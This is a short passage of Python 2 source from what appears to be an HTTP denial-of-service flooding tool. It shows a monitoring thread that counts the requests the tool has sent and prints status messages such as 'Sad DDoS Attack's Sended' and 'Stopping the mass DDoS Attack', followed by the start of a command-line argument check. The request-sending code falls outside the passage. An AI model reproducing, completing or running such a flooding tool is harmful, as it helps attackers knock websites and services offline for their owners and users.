| 216 | |
| 217 | # monitors http threads and counts requests |
| 218 | class MonitorThread(threading.Thread): |
| 219 | def run(self): |
| 220 | previous=request_counter |
| 221 | while flag==0: |
| 222 | if (previous+150<request_counter) & (previous<>request_counter): |
| 223 | print "#~~~>Sad DDoS Attack's Sended: %d Sending more<~~~#" % (request_counter) |
| 224 | previous=request_counter |
| 225 | if flag==2: |
| 226 | print "\n ~>Stopping the mass DDoS Attack<~" |
| 227 | |
| 228 | #execute |
| 229 | if len(sys.argv) < 2: |